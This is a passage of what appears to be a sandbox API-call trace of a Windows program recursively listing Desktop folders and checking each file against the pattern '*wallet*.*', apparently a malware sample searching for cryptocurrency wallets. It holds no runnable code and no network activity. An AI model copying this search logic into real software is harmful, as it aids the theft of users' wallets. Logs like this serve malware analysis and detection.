lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\avdtAoxV8CAmzwyXqi1\\") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\avdtAoxV8CAmzwyXqi1\\" [0146.621] lstrcatW (in: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\avdtAoxV8CAmzwyXqi1\\", lpString2=".." | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\avdtAoxV8CAmzwyXqi1\\..") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\avdtAoxV8CAmzwyXqi1\\.." [0146.621] lstrcpyW (in: lpString1=0x19c7a4, lpString2="\\avdtAoxV8CAmzwyXqi1" | out: lpString1="\\avdtAoxV8CAmzwyXqi1") returned="\\avdtAoxV8CAmzwyXqi1" [0146.621] lstrcatW (in: lpString1="\\avdtAoxV8CAmzwyXqi1", lpString2="\\" | out: lpString1="\\avdtAoxV8CAmzwyXqi1\\") returned="\\avdtAoxV8CAmzwyXqi1\\" [0146.621] lstrcatW (in: lpString1="\\avdtAoxV8CAmzwyXqi1\\", lpString2=".." | out: lpString1="\\avdtAoxV8CAmzwyXqi1\\..") returned="\\avdtAoxV8CAmzwyXqi1\\.." [0146.621] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0146.622] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0146.622] FindNextFileW (in: hFindFile=0x8825b0, lpFindFileData=0x19c34c | out: lpFindFileData=0x19c34c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a82a210, ftCreationTime.dwHighDateTime=0x1d7a182, ftLastAccessTime.dwLowDateTime=0x77fa1e0, ftLastAccessTime.dwHighDateTime=0x1d7a299, ftLastWriteTime.dwLowDateTime=0x77fa1e0, ftLastWriteTime.dwHighDateTime=0x1d7a299, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="0bJmFQ", cAlternateFileName="")) returned 1 [0146.622] lstrcpyW (in: lpString1=0x19c59c, lpString2="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\avdtAoxV8CAmzwyXqi1" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\avdtAoxV8CAmzwyXqi1") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\avdtAoxV8CAmzwyXqi1" [0146.622] lstrcatW (in: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\avdtAoxV8CAmzwyXqi1", lpString2="\\" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\avdtAoxV8CAmzwyXqi1\\") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\avdtAoxV8CAmzwyXqi1\\" [0146.622] lstrcatW (in: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\avdtAoxV8CAmzwyXqi1\\", lpString2="0bJmFQ" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\avdtAoxV8CAmzwyXqi1\\0bJmFQ") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\avdtAoxV8CAmzwyXqi1\\0bJmFQ" [0146.622] lstrcpyW (in: lpString1=0x19c7a4, lpString2="\\avdtAoxV8CAmzwyXqi1" | out: lpString1="\\avdtAoxV8CAmzwyXqi1") returned="\\avdtAoxV8CAmzwyXqi1" [0146.622] lstrcatW (in: lpString1="\\avdtAoxV8CAmzwyXqi1", lpString2="\\" | out: lpString1="\\avdtAoxV8CAmzwyXqi1\\") returned="\\avdtAoxV8CAmzwyXqi1\\" [0146.622] lstrcatW (in: lpString1="\\avdtAoxV8CAmzwyXqi1\\", lpString2="0bJmFQ" | out: lpString1="\\avdtAoxV8CAmzwyXqi1\\0bJmFQ") returned="\\avdtAoxV8CAmzwyXqi1\\0bJmFQ" [0146.622] lstrcmpW (lpString1="0bJmFQ", lpString2=".") returned 1 [0146.622] lstrcmpW (lpString1="0bJmFQ", lpString2="..") returned 1 [0146.622] lstrcpyW (in: lpString1=0x19c02c, lpString2="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\avdtAoxV8CAmzwyXqi1\\0bJmFQ" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\avdtAoxV8CAmzwyXqi1\\0bJmFQ") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\avdtAoxV8CAmzwyXqi1\\0bJmFQ" [0146.622] lstrcatW (in: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\avdtAoxV8CAmzwyXqi1\\0bJmFQ", lpString2="\\*.*" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\avdtAoxV8CAmzwyXqi1\\0bJmFQ\\*.*") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\avdtAoxV8CAmzwyXqi1\\0bJmFQ\\*.*" [0146.622] FindFirstFileW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\avdtAoxV8CAmzwyXqi1\\0bJmFQ\\*.*", lpFindFileData=0x19b9cc | out: lpFindFileData=0x19b9cc*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a82a210, ftCreationTime.dwHighDateTime=0x1d7a182, ftLastAccessTime.dwLowDateTime=0x77fa1e0, ftLastAccessTime.dwHighDateTime=0x1d7a299, ftLastWriteTime.dwLowDateTime=0x77fa1e0, ftLastWriteTime.dwHighDateTime=0x1d7a299, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x882830 [0146.622] lstrcpyW (in: lpString1=0x19bc1c, lpString2="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\avdtAoxV8CAmzwyXqi1\\0bJmFQ" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\avdtAoxV8CAmzwyXqi1\\0bJmFQ") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\avdtAoxV8CAmzwyXqi1\\0bJmFQ" [0146.622] lstrcatW (in: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\avdtAoxV8CAmzwyXqi1\\0bJmFQ", lpString2="\\" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\avdtAoxV8CAmzwyXqi1\\0bJmFQ\\") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\avdtAoxV8CAmzwyXqi1\\0bJmFQ\\" [0146.622] lstrcatW (in: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\avdtAoxV8CAmzwyXqi1\\0bJmFQ\\", lpString2="." | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\avdtAoxV8CAmzwyXqi1\\0bJmFQ\\.") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\avdtAoxV8CAmzwyXqi1\\0bJmFQ\\." [0146.623] lstrcpyW (in: lpString1=0x19be24, lpString2="\\avdtAoxV8CAmzwyXqi1\\0bJmFQ" | out: lpString1="\\avdtAoxV8CAmzwyXqi1\\0bJmFQ") returned="\\avdtAoxV8CAmzwyXqi1\\0bJmFQ" [0146.623] lstrcatW (in: lpString1="\\avdtAoxV8CAmzwyXqi1\\0bJmFQ", lpString2="\\" | out: lpString1="\\avdtAoxV8CAmzwyXqi1\\0bJmFQ\\") returned="\\avdtAoxV8CAmzwyXqi1\\0bJmFQ\\" [0146.623] lstrcatW (in: lpString1="\\avdtAoxV8CAmzwyXqi1\\0bJmFQ\\", lpString2="." | out: lpString1="\\avdtAoxV8CAmzwyXqi1\\0bJmFQ\\.") returned="\\avdtAoxV8CAmzwyXqi1\\0bJmFQ\\." [0146.623] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0146.623] FindNextFileW (in: hFindFile=0x882830, lpFindFileData=0x19b9cc | out: lpFindFileData=0x19b9cc*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a82a210, ftCreationTime.dwHighDateTime=0x1d7a182, ftLastAccessTime.dwLowDateTime=0x77fa1e0, ftLastAccessTime.dwHighDateTime=0x1d7a299, ftLastWriteTime.dwLowDateTime=0x77fa1e0, ftLastWriteTime.dwHighDateTime=0x1d7a299, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0146.623] lstrcpyW (in: lpString1=0x19bc1c, lpString2="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\avdtAoxV8CAmzwyXqi1\\0bJmFQ" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\avdtAoxV8CAmzwyXqi1\\0bJmFQ") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\avdtAoxV8CAmzwyXqi1\\0bJmFQ" [0146.623] lstrcatW (in: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\avdtAoxV8CAmzwyXqi1\\0bJmFQ", lpString2="\\" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\avdtAoxV8CAmzwyXqi1\\0bJmFQ\\") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\avdtAoxV8CAmzwyXqi1\\0bJmFQ\\" [0146.623] lstrcatW (in: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\avdtAoxV8CAmzwyXqi1\\0bJmFQ\\", lpString2=".." | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\avdtAoxV8CAmzwyXqi1\\0bJmFQ\\..") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\avdtAoxV8CAmzwyXqi1\\0bJmFQ\\.." [0146.623] lstrcpyW (in: lpString1=0x19be24, lpString2="\\avdtAoxV8CAmzwyXqi1\\0bJmFQ" | out: lpString1="\\avdtAoxV8CAmzwyXqi1\\0bJmFQ") returned="\\avdtAoxV8CAmzwyXqi1\\0bJmFQ" [0146.623] lstrcatW (in: lpString1="\\avdtAoxV8CAmzwyXqi1\\0bJmFQ", lpString2="\\" | out: lpString1="\\avdtAoxV8CAmzwyXqi1\\0bJmFQ\\") returned="\\avdtAoxV8CAmzwyXqi1\\0bJmFQ\\" [0146.623] lstrcatW (in: lpString1="\\avdtAoxV8CAmzwyXqi1\\0bJmFQ\\", lpString2=".." | out: lpString1="\\avdtAoxV8CAmzwyXqi1\\0bJmFQ\\..") returned="\\avdtAoxV8CAmzwyXqi1\\0bJmFQ\\.." [0146.623] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0146.623] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0146.623] FindNextFileW (in: hFindFile=0x882830, lpFindFileData=0x19b9cc | out: lpFindFileData=0x19b9cc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3b5d62c0, ftCreationTime.dwHighDateTime=0x1d7a115, ftLastAccessTime.dwLowDateTime=0xa140a5e0, ftLastAccessTime.dwHighDateTime=0x1d7ac62, ftLastWriteTime.dwLowDateTime=0xa140a5e0, ftLastWriteTime.dwHighDateTime=0x1d7ac62, nFileSizeHigh=0x0, nFileSizeLow=0x129ba, dwReserved0=0x0, dwReserved1=0x0, cFileName="3a8e-vNM7Q5rmwj.rtf", cAlternateFileName="3A8E-V~1.RTF")) returned 1 [0146.624] lstrcpyW (in: lpString1=0x19bc1c, lpString2="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\avdtAoxV8CAmzwyXqi1\\0bJmFQ" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\avdtAoxV8CAmzwyXqi1\\0bJmFQ") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\avdtAoxV8CAmzwyXqi1\\0bJmFQ" [0146.624] lstrcatW (in: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\avdtAoxV8CAmzwyXqi1\\0bJmFQ", lpString2="\\" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\avdtAoxV8CAmzwyXqi1\\0bJmFQ\\") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\avdtAoxV8CAmzwyXqi1\\0bJmFQ\\" [0146.624] lstrcatW (in: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\avdtAoxV8CAmzwyXqi1\\0bJmFQ\\", lpString2="3a8e-vNM7Q5rmwj.rtf" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\avdtAoxV8CAmzwyXqi1\\0bJmFQ\\3a8e-vNM7Q5rmwj.rtf") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\avdtAoxV8CAmzwyXqi1\\0bJmFQ\\3a8e-vNM7Q5rmwj.rtf" [0146.624] lstrcpyW (in: lpString1=0x19be24, lpString2="\\avdtAoxV8CAmzwyXqi1\\0bJmFQ" | out: lpString1="\\avdtAoxV8CAmzwyXqi1\\0bJmFQ") returned="\\avdtAoxV8CAmzwyXqi1\\0bJmFQ" [0146.624] lstrcatW (in: lpString1="\\avdtAoxV8CAmzwyXqi1\\0bJmFQ", lpString2="\\" | out: lpString1="\\avdtAoxV8CAmzwyXqi1\\0bJmFQ\\") returned="\\avdtAoxV8CAmzwyXqi1\\0bJmFQ\\" [0146.624] lstrcatW (in: lpString1="\\avdtAoxV8CAmzwyXqi1\\0bJmFQ\\", lpString2="3a8e-vNM7Q5rmwj.rtf" | out: lpString1="\\avdtAoxV8CAmzwyXqi1\\0bJmFQ\\3a8e-vNM7Q5rmwj.rtf") returned="\\avdtAoxV8CAmzwyXqi1\\0bJmFQ\\3a8e-vNM7Q5rmwj.rtf" [0146.624] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0xa0) returned 0x23604a0 [0146.624] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\avdtAoxV8CAmzwyXqi1\\0bJmFQ\\3a8e-vNM7Q5rmwj.rtf", cchWideChar=78, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 78 [0146.624] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0x4e) returned 0x2362b48 [0146.624] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\avdtAoxV8CAmzwyXqi1\\0bJmFQ\\3a8e-vNM7Q5rmwj.rtf", cchWideChar=78, lpMultiByteStr=0x2362b48, cbMultiByte=78, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\avdtAoxV8CAmzwyXqi1\\0bJmFQ\\3a8e-vNM7Q5rmwj.rtf", lpUsedDefaultChar=0x0) returned 78 [0146.624] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0x50) returned 0x2362e08 [0146.624] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x2362b48 | out: hHeap=0x2360000) returned 1 [0146.624] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x23604a0 | out: hHeap=0x2360000) returned 1 [0146.624] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19c254, cbMultiByte=11, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 11 [0146.624] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0x16) returned 0x3340da0 [0146.624] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19c254, cbMultiByte=11, lpWideCharStr=0x3340da0, cchWideChar=11 | out: lpWideCharStr="*wallet*.*") returned 11 [0146.624] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0x20) returned 0x33403d0 [0146.625] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x3340da0 | out: hHeap=0x2360000) returned 1 [0146.625] PathMatchSpecW (pszFile="3a8e-vNM7Q5rmwj.rtf", pszSpec="*wallet*.*") returned 0 [0146.625] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x33403d0 | out: hHeap=0x2360000) returned 1 [0146.625] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x2362e08 | out: hHeap=0x2360000) returned 1 [0146.625] FindNextFileW (in: hFindFile=0x882830, lpFindFileData=0x19b9cc | out: lpFindFileData=0x19b9cc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9ca5dc60, ftCreationTime.dwHighDateTime=0x1d7adf4, ftLastAccessTime.dwLowDateTime=0x63524720, ftLastAccessTime.dwHighDateTime=0x1d7af50, ftLastWriteTime.dwLowDateTime=0x63524720, ftLastWriteTime.dwHighDateTime=0x1d7af50, nFileSizeHigh=0x0, nFileSizeLow=0x11833, dwReserved0=0x0, dwReserved1=0x0, cFileName="5 VEXDj.flv", cAlternateFileName="5VEXDJ~1.FLV")) returned 1 [0146.625] lstrcpyW (in: lpString1=0x19bc1c, lpString2="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\avdtAoxV8CAmzwyXqi1\\0bJmFQ" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\avdtAoxV8CAmzwyXqi1\\0bJmFQ") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\avdtAoxV8CAmzwyXqi1\\0bJmFQ" [0146.625] lstrcatW (in: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\avdtAoxV8CAmzwyXqi1\\0bJmFQ", lpString2="\\" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\avdtAoxV8CAmzwyXqi1\\0bJmFQ\\") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\avdtAoxV8CAmzwyXqi1\\0bJmFQ\\" [0146.625] lstrcatW (in: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\avdtAoxV8CAmzwyXqi1\\0bJmFQ\\", lpString2="5 VEXDj.flv" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\avdtAoxV8CAmzwyXqi1\\0bJmFQ\\5 VEXDj.flv") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\avdtAoxV8CAmzwyXqi1\\0bJmFQ\\5 VEXDj.flv" [0146.625] lstrcpyW (in: lpString1=0x19be24, lpString2="\\avdtAoxV8CAmzwyXqi1\\0bJmFQ" | out: lpString1="\\avdtAoxV8CAmzwyXqi1\\0bJmFQ") returned="\\avdtAoxV8CAmzwyXqi1\\0bJmFQ" [0146.625] lstrcatW (in: lpString1="\\avdtAoxV8CAmzwyXqi1\\0bJmFQ", lpString2="\\" | out: lpString1="\\avdtAoxV8CAmzwyXqi1\\0bJmFQ\\") returned="\\avdtAoxV8CAmzwyXqi1\\0bJmFQ\\" [0146.625] lstrcatW (in: lpString1="\\avdtAoxV8CAmzwyXqi1\\0bJmFQ\\", lpString2="5 VEXDj.flv" | out: lpString1="\\avdtAoxV8CAmzwyXqi1\\0bJmFQ\\5 VEXDj.flv") returned="\\avdtAoxV8CAmzwyXqi1\\0bJmFQ\\5 VEXDj.flv" [0146.625] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0x90) returned 0x23604a0 [0146.625] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\avdtAoxV8CAmzwyXqi1\\0bJmFQ\\5 VEXDj.flv", cchWideChar=70, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 70 [0146.625] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0x46) returned 0x32bb388 [0146.625] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\avdtAoxV8CAmzwyXqi1\\0bJmFQ\\5 VEXDj.flv", cchWideChar=70, lpMultiByteStr=0x32bb388, cbMultiByte=70, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\avdtAoxV8CAmzwyXqi1\\0bJmFQ\\5 VEXDj.flv", lpUsedDefaultChar=0x0) returned 70 [0146.625] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0x50) returned 0x2362d58 [0146.626] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x32bb388 | out: hHeap=0x2360000) returned 1 [0146.626] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x23604a0 | out: hHeap=0x2360000) returned 1 [0146.626] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19c254, cbMultiByte=11, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 11 [0146.626] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0x16) returned 0x3340e40 [0146.626] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19c254, cbMultiByte=11, lpWideCharStr=0x3340e40, cchWideChar=11 | out: lpWideCharStr="*wallet*.*") returned 11 [0146.626] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0x20) returned 0x3340588 [0146.626] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x3340e40 | out: hHeap=0x2360000) returned 1 [0146.626] PathMatchSpecW (pszFile="5 VEXDj.flv", pszSpec="*wallet*.*") returned 0 [0146.626] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x3340588 | out: hHeap=0x2360000) returned 1 [0146.626] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x2362d58 | out: hHeap=0x2360000) returned 1 [0146.626] FindNextFileW (in: hFindFile=0x882830, lpFindFileData=0x19b9cc | out: lpFindFileData=0x19b9cc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7bcdac10, ftCreationTime.dwHighDateTime=0x1d7af2b, ftLastAccessTime.dwLowDateTime=0x1a72cdf0, ftLastAccessTime.dwHighDateTime=0x1d7af68, ftLastWriteTime.dwLowDateTime=0x1a72cdf0, ftLastWriteTime.dwHighDateTime=0x1d7af68, nFileSizeHigh=0x0, nFileSizeLow=0x164e0, dwReserved0=0x0, dwReserved1=0x0, cFileName="9sPEz ZVnQg tF9.flv", cAlternateFileName="9SPEZZ~1.FLV")) returned 1 [0146.626] lstrcpyW (in: lpString1=0x19bc1c, lpString2="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\avdtAoxV8CAmzwyXqi1\\0bJmFQ" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\avdtAoxV8CAmzwyXqi1\\0bJmFQ") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\avdtAoxV8CAmzwyXqi1\\0bJmFQ" [0146.626] lstrcatW (in: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\avdtAoxV8CAmzwyXqi1\\0bJmFQ", lpString2="\\" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\avdtAoxV8CAmzwyXqi1\\0bJmFQ\\") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\avdtAoxV8CAmzwyXqi1\\0bJmFQ\\" [0146.626] lstrcatW (in: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\avdtAoxV8CAmzwyXqi1\\0bJmFQ\\", lpString2="9sPEz ZVnQg tF9.flv" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\avdtAoxV8CAmzwyXqi1\\0bJmFQ\\9sPEz ZVnQg tF9.flv") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\avdtAoxV8CAmzwyXqi1\\0bJmFQ\\9sPEz ZVnQg tF9.flv" [0146.626] lstrcpyW (in: lpString1=0x19be24, lpString2="\\avdtAoxV8CAmzwyXqi1\\0bJmFQ" | out: lpString1="\\avdtAoxV8CAmzwyXqi1\\0bJmFQ") returned="\\avdtAoxV8CAmzwyXqi1\\0bJmFQ" [0146.626] lstrcatW (in: lpString1="\\avdtAoxV8CAmzwyXqi1\\0bJmFQ", lpString2="\\" | out: lpString1="\\avdtAoxV8CAmzwyXqi1\\0bJmFQ\\") returned="\\avdtAoxV8CAmzwyXqi1\\0bJmFQ\\" [0146.626] lstrcatW (in: lpString1="\\avdtAoxV8CAmzwyXqi1\\0bJmFQ\\", lpString2="9sPEz ZVnQg tF9.flv" | out: lpString1="\\avdtAoxV8CAmzwyXqi1\\0bJmFQ\\9sPEz ZVnQg tF9.flv") returned="\\avdtAoxV8CAmzwyXqi1\\0bJmFQ\\9sPEz ZVnQg tF9.flv" [0146.626] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0xa0) returned 0x23604a0 [0146.626] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\avdtAoxV8CAmzwyXqi1\\0bJmFQ\\9sPEz ZVnQg tF9.flv", cchWideChar=78, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 78 [0146.626] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0x4e) returned 0x23629e8 [0146.626] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\avdtAoxV8CAmzwyXqi1\\0bJmFQ\\9sPEz ZVnQg tF9.flv", cchWideChar=78, lpMultiByteStr=0x23629e8, cbMultiByte=78, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\avdtAoxV8CAmzwyXqi1\\0bJmFQ\\9sPEz ZVnQg tF9.flv", lpUsedDefaultChar=0x0) returned 78 [0146.627] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0x50) returned 0x2362e60 [0146.627] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x23629e8 | out: hHeap=0x2360000) returned 1 [0146.627] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x23604a0 | out: hHeap=0x2360000) returned 1 [0146.627] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19c254, cbMultiByte=11, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 11 [0146.627] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0x16) returned 0x3340b60 [0146.627] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x3340b60 | out: hHeap=0x2360000) returned 1 [0146.627] PathMatchSpecW (pszFile="9sPEz ZVnQg tF9.flv", pszSpec="*wallet*.*") returned 0 [0146.627] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x33406a0 | out: hHeap=0x2360000) returned 1 [0146.627] FindNextFileW (in: hFindFile=0x882830, lpFindFileData=0x19b9cc | out: lpFindFileData=0x19b9cc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa16675c0, ftCreationTime.dwHighDateTime=0x1d7aa93, ftLastAccessTime.dwLowDateTime=0xa2d48a40, ftLastAccessTime.dwHighDateTime=0x1d7ad3c, ftLastWriteTime.dwLowDateTime=0xa2d48a40, ftLastWriteTime.dwHighDateTime=0x1d7ad3c, nFileSizeHigh=0x0, nFileSizeLow=0x12a9d, dwReserved0=0x0, dwReserved1=0x0, cFileName="JRz_Phqes8VP1D0jG57.wav", cAlternateFileName="JRZ_PH~1.WAV")) returned 1 [0146.627] lstrcpyW (in: lpString1=0x19bc1c, lpString2="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\avdtAoxV8CAmzwyXqi1\\0bJmFQ" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\avdtAoxV8CAmzwyXqi1\\0bJmFQ") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\avdtAoxV8CAmzwyXqi1\\0bJmFQ" [0146.627] lstrcatW (in: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\avdtAoxV8CAmzwyXqi1\\0bJmFQ", lpString2="\\" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\avdtAoxV8CAmzwyXqi1\\0bJmFQ\\") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\avdtAoxV8CAmzwyXqi1\\0bJmFQ\\" [0146.627] lstrcatW (in: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\avdtAoxV8CAmzwyXqi1\\0bJmFQ\\", lpString2="JRz_Phqes8VP1D0jG57.wav" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\avdtAoxV8CAmzwyXqi1\\0bJmFQ\\JRz_Phqes8VP1D0jG57.wav") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\avdtAoxV8CAmzwyXqi1\\0bJmFQ\\JRz_Phqes8VP1D0jG57.wav" [0146.627] lstrcpyW (in: lpString1=0x19be24, lpString2="\\avdtAoxV8CAmzwyXqi1\\0bJmFQ" | out: lpString1="\\avdtAoxV8CAmzwyXqi1\\0bJmFQ") returned="\\avdtAoxV8CAmzwyXqi1\\0bJmFQ" [0146.627] lstrcatW (in: 